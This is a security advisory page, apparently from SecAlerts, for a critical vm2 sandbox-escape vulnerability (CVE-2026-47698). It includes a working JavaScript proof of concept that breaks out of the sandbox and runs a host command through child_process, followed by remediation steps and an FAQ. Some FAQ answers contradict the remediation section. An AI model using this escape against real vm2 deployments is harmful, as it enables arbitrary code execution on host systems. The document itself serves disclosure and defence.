CVE-2026-47698: Critical severity npm/vm2 vulnerability

Published Aug 17, 2026
·
Updated

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.

PoC

js const {VM} = require("."); const vm = new VM(); console.log(vm.run( const getProto = Buffer.call.call(Buffer.call, {}.lookupGetter, Buffer, "proto"); const setProto = Buffer.call.call(Buffer.call, {}.lookupSetter, Buffer, "proto");

async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null); }

try { await WebAssembly.compileStreaming(); } catch(e) { e.constructor.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned'); } }

f(); ));

Impact

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

Affected Software

1 affected componentFixes available
npm/vm2<=3.11.5
3.11.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.6
  2. Upgrade

    Upgrade vm2 to a version that resolves this vulnerability.

    Patch GHSA-v6mx-mf47-r5wg
  3. Compensating control

    Because the described fix can be bypassed, isolate systems running vm2 (e.g., run in a tightly controlled sandbox/VM/container with restricted host access) until the vulnerability is fully remediated.

Event History

Aug 17, 2026
Advisory Published
via GitHub·05:32 PM
Data Sourced
via GitHub·05:32 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-47698?

CVE-2026-47698 has a critical severity rating of 9.8.

2

How do I fix CVE-2026-47698?

To fix CVE-2026-47698, update your npm/vm2 software to version 3.11.6 or later.

3

What does the sandbox breakout in CVE-2026-47698 allow attackers to do?

The sandbox breakout in CVE-2026-47698 allows attackers to execute arbitrary commands on the host system.

4

What is the attack vector for CVE-2026-47698?

The attack vector for CVE-2026-47698 is through direct access, making it vulnerable to remote attackers.

5

Is there a workaround for CVE-2026-47698 before applying the update?

Currently, there is no known workaround for CVE-2026-47698; updating to the latest version is recommended.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203